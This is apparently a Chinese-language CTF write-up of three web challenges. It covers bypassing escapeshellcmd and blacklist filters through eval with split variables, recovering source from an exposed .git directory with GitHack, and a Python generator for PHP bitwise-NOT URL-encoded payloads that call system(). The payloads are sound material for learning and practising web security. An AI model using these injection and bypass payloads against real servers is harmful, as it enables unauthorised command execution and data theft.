EZCMD_4
首页是一个图片(其实与解题无关),发现网页标题为robot,访问/robots.txt,然后访问/4atP5Aup.php,发现php源码。
读取源码发现这道题的过滤条件很严格,escapeshellcmd()和preg_match()双重过滤:
使用 escapeshellcmd() 对输入进行转义。escapeshellcmd() 会在绝大多数 shell 特殊字符(如 $, \, ', ", ;, | 等)前面加上反斜杠 \ 强行转义;
使用 preg_match() 对转义后的字符串进行黑名单校验(忽略大小写 /i)。
可以用eval()函数,eval()会去掉多余的转义符重新解析,例如题解a=fl;b=ag;rev /$a$b;
虽然会被转义,但是通过eval()的解析后还是输出原本的指令,下面在hackbar执行:
还有一些可用的方法,比如cmd=eval a=fl;b=ag;dd if=/$a$b;
EZINFOLEAK_6
常规源代码检查没有结果,直接目录爆破,发现./git目录有回显,确定是一道git源码泄露题。
我用的是GitHack,进入脚本所在目录扫描
然后进入dist下的扫描结果,用git log HEAD指令分析获得flag
还有其他的git命令可供使用
git show <commit>:./<file> 使用相对路径(相对于当前目录)
git show <commit> -- <file> 另一种写法,效果相同
git cat-file -p <blob-hash> 直接用对象的哈希值查看内容
EZCMD_14
本题考查字母数字绕过,经典的方法就是URL取反
简单的URL取反代码脚本:
def generate_payload(command, func="system"): # 对函数名取反 func_neg = ''.join(chr(~ord(c) & 0xFF) for c in func) # 对命令取反 cmd_neg = ''.join(chr(~ord(c) & 0xFF) for c in command) # URL 编码 func_encoded = ''.join(f'%{ord(c):02X}' for c in func_neg) cmd_encoded = ''.join(f'%{ord(c):02X}' for c in cmd_neg) return f"(~{func_encoded})(~{cmd_encoded});" # 示例 print(generate_payload("find / -name 'fl*'")) # 输出:(~%8C%86%8C%8B%9A%92)(~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%D8%99%93%D5%D8);脚本结果为
(~%8C%86%8C%8B%9A%92)(~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%D8%99%93%D5%D8); URL输入/?qc=(~%8C%86%8C%8B%9A%92)(~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%D8%99%93%D5%D8);后,等价于执行 system("find / -name 'fl*'"); 发现根目录下的/flag
然后通过cat /flag的URL取反命令即可获得flag。